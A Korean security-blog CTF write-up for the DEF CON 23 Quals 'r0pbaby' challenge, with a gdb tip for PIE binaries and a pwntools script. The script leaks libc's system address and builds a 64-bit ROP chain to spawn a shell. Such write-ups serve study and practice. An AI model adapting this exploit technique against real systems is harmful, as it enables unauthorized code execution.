Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Defcon23 Quals r0pbaby 본문

Security/Pwnable

Defcon23 Quals r0pbaby

Cdor1 2016. 9. 19. 04:04

후기 : PIE가 걸린 프로그램에서의 디버깅 방법을 터득했다!

 set stop-on-solib-events 1

64비트 rtl을 할 수 있다! (다음 목표는 pwnable.kr unexploitable)



from pwn import *

s = remote('localhost',4000)

sh_offset = 'your offset'
pr = 'your offset'

print s.recvuntil(':')
s.sendline('2')
print s.recvuntil(':')
s.sendline('system')
system = int(s.recvuntil('\n').split('Symbol system: 0x')[1],16)
print "[*] system : " + hex(system)
s.recvuntil(':')

pay = 'A'*8
pay += p64(system - pr) # pop rdi, ret
pay += p64(system + sh_offset) # '/bin/sh'
pay += p64(system) # libc_system

s.sendline('3')
print s.recvuntil(':')
s.sendline(str(len(pay)))
s.sendline(pay)

s.interactive()


'Security > Pwnable' 카테고리의 다른 글

pwnable.kr unexploitable  (0) 2016.09.24
Codegate 2015 bookstore  (0) 2016.09.21
codegate 2015 yocto  (0) 2016.09.15
Codegate 2014 Quals minibomb  (0) 2016.09.11
Plaid CTF 2015 ebp  (0) 2016.09.10
Comments